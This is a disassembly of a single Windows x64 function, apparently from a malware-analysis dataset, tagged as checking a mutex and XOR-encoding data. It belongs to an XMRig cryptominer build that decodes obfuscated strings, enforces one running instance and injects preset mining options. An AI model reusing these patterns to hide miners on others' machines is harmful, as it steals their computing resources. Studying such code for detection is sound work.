Function at 0x14008c6d0
Capabilities:
Check mutex on windows
Encode data using xor

Disassembly:
mov rax, rsp
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x60]
sub rsp, 0x160
mov qword [rsp + 0x58], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
mov rax, qword [0x140495598]
xor rax, rsp
mov qword [rbp + 0x20], rax
movups xmm0, xmmword [str.tXZTVTe_HZol]
movups xmmword [rbp - 0x48], xmm0
movups xmm1, xmmword [0x14044c728]
movups xmmword [rbp - 0x38], xmm1
movups xmm0, xmmword [0x14044c738]
movups xmmword [rbp - 0x28], xmm0
mov eax, dword [0x14044c748]
mov dword [rbp - 0x18], eax
movzx eax, byte [0x14044c74c]
mov byte [rbp - 0x14], al
xor r8d, r8d
lea edi, [r8 + 0x1f]
lea r14d, [r8 + 1]
mov ebx, dword [0x1404955a0]
cmp ebx, 2
jl 0x14008c8a7
movdqa xmm5, xmmword [0x14044ef60]
movdqa xmm4, xmmword [0x14044f050]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14044efc0]
movd xmm8, edi
movdqa xmm0, xmmword [0x14044f0a0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp - 0x44]
mov edx, dword [rsp + 0x20]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14044f010]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14044f010]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x14008c7a0
cmp r8d, 0x35
jge 0x14008c8e0
movsxd rax, r8d
lea r9, [rbp - 0x48]
add r9, rax
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x35
jl 0x14008c8b1
lea r8, [rbp - 0x48]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x14008ce51
lea rax, str.__cpu_priority
mov qword [rbp - 0x10], rax
lea rax, [0x14044c6e0]
mov qword [rbp - 8], rax
lea rax, [0x14044c6e4]
mov qword [rbp], rax
movups xmm0, xmmword [0x14044c750]
movups xmmword [rbp - 0x60], xmm0
mov eax, dword [0x14044c760]
mov dword [rbp - 0x50], eax
movzx eax, byte [0x14044c764]
mov byte [rbp - 0x4c], al
xor r8d, r8d
cmp ebx, 2
jl 0x14008ca89
movdqa xmm5, xmmword [0x14044ef60]
movdqa xmm4, xmmword [0x14044f050]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14044efc0]
movd xmm8, edi
movdqa xmm0, xmmword [0x14044f0a0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp - 0x5c]
mov edx, dword [rsp + 0x20]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14044f010]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14044f010]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14008c982
cmp r8d, 0x15
jge 0x14008cacf
movsxd rax, r8d
lea r9, [rbp - 0x60]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x14008caa0
lea rax, [rbp - 0x60]
mov qword [rbp + 8], rax
lea rax, str.__rig_id
mov qword [rbp + 0x10], rax
lea rax, str.Legendary
mov qword [rbp + 0x18], rax
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
lea r8, [rbp - 0x10]
lea rcx, [rsp + 0x30]
call fcn.140043200
nop
call fcn.14030f908
mov rcx, rax
movabs rax, 0x346dc5d63886594b
imul rcx
sar rdx, 0xb
mov rcx, rdx
shr rcx, 0x3f
add rcx, rdx
lea rax, [rsp + 0x30]
xor ecx, eax
call fcn.140339638
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
sub rax, rcx
sar rax, 4
cmp rax, 3
jb 0x14008cbbb
mov rdi, r14
lea r15, [rax - 1]
cmp r14, r15
jae 0x14008cbbb
lea rsi, [rcx + 0x10]
movzx r12d, byte [0x140448c2e]
movzx r13d, byte [0x140448c2d]
nop dword [rax]
mov rbx, qword [rsi]
test rbx, rbx
je 0x14008cbaf
lea rdx, str.__data_dir
mov rcx, rbx
call fcn.14033b5a0
test eax, eax
je 0x14008cc48
test rbx, rbx
je 0x14008cbaf
movzx eax, byte [0x140448c2c]
cmp byte [rbx], al
jne 0x14008cbaf
cmp byte [rbx + 1], r13b
jne 0x14008cbaf
cmp byte [rbx + 2], r12b
je 0x14008cc48
inc rdi
add rsi, 0x10
cmp rdi, r15
jb 0x14008cb70
xor ecx, ecx
call fcn.14002d200
nop
lea rcx, [rsp + 0x30]
call fcn.14002c640
mov ecx, eax
test eax, eax
je 0x14008cd87
sub ecx, 1
je 0x14008ccf6
sub ecx, 1
je 0x14008cc83
cmp ecx, 1
jne 0x14008cd17
lea r8, str.topology.xml
xor edx, edx
lea rcx, [rbp - 0x60]
call fcn.14002d540
mov qword [rsp + 0x20], 0
lea rcx, [rsp + 0x20]
call fcn.1402f21f0
mov rcx, qword [rsp + 0x20]
call fcn.1402f2200
xor r8d, r8d
mov rbx, qword [rbp - 0x60]
mov rdx, rbx
mov rcx, qword [rsp + 0x20]
call fcn.1402fc640
cmp eax, 0xffffffff
jne 0x14008cc5d
lea rcx, str.failed_to_export_hwloc_topology._n
call fcn.14002bd30
jmp 0x14008cc6c
lea rax, [rdi + 1]
add rax, rax
mov rcx, qword [rsp + 0x40]
mov rcx, qword [rcx + rax*8]
jmp 0x14008cbbd
mov rdx, rbx
lea rcx, str.hwloc_topology_successfully_exported_to___s__n
call fcn.14002bd30
mov rcx, qword [rsp + 0x20]
call fcn.1402f20a0
mov rcx, rbx
call fcn.140311600
jmp 0x14008cd14
lea rcx, str.XMRig_6.20.0_n_built_on_Oct__1_2024_with_MSVC
call fcn.14002bd30
mov edx, 0x7e1
lea rcx, [0x140448b20]
call fcn.14002bd30
lea rcx, str._n_features:_64_bit_AES_n
call fcn.14002bd30
lea rdx, str.1.31.0
lea rcx, str._nlibuv__s_n
call fcn.14002bd30
mov edx, 0x20
lea rbx, [0x140446bc0]
mov rcx, rbx
call fcn.14032f9dc
sub eax, ebx
mov r8, rbx
mov edx, eax
lea rcx, str.OpenSSL__.s_n
call fcn.14002bd30
lea rdx, str.2.9.0
lea rcx, str.hwloc__s_n
jmp 0x14008cd0f
call fcn.14002bd90
cmp qword [rax + 0x18], 0x10
jb 0x14008cd05
mov rax, qword [rax]
mov rdx, rax
lea rcx, [0x140448c24]
call fcn.14002bd30
xor r14d, r14d
mov rbx, qword [rsp + 0x40]
test rbx, rbx
je 0x14008cd7f
mov rdi, qword [rsp + 0x48]
cmp rbx, rdi
je 0x14008cd46
nop dword [rax + rax]
mov rcx, qword [rbx]
call fcn.140311600
add rbx, 0x10
cmp rbx, rdi
jne 0x14008cd30
mov rbx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x50]
sub rdx, rbx
and rdx, 0xfffffffffffffff0
mov rax, rbx
cmp rdx, 0x1000
jb 0x14008cd77
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14008ce5c
mov rcx, rbx
call fcn.140311600
mov eax, r14d
jmp 0x14008ce0f
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x60]
call fcn.140082700
nop
lea rcx, [rsp + 0x60]
call fcn.140082a10
mov esi, eax
lea rcx, [rsp + 0x60]
call fcn.140082900
nop
mov rbx, qword [rsp + 0x40]
test rbx, rbx
je 0x14008ce0d
mov rdi, qword [rsp + 0x48]
cmp rbx, rdi
je 0x14008cdd8
mov rcx, qword [rbx]
call fcn.140311600
add rbx, 0x10
cmp rbx, rdi
jne 0x14008cdc2
mov rbx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x50]
sub rdx, rbx
and rdx, 0xfffffffffffffff0
mov rax, rbx
cmp rdx, 0x1000
jb 0x14008ce05
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14008ce4b
mov rcx, rbx
call fcn.140311600
mov eax, esi
mov rcx, qword [rbp + 0x20]
xor rcx, rsp
call fcn.1403115a0
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1403331f4
int3
mov ecx, 0xffffffff
call fcn.140339e74
int3
call fcn.1403331f4
int3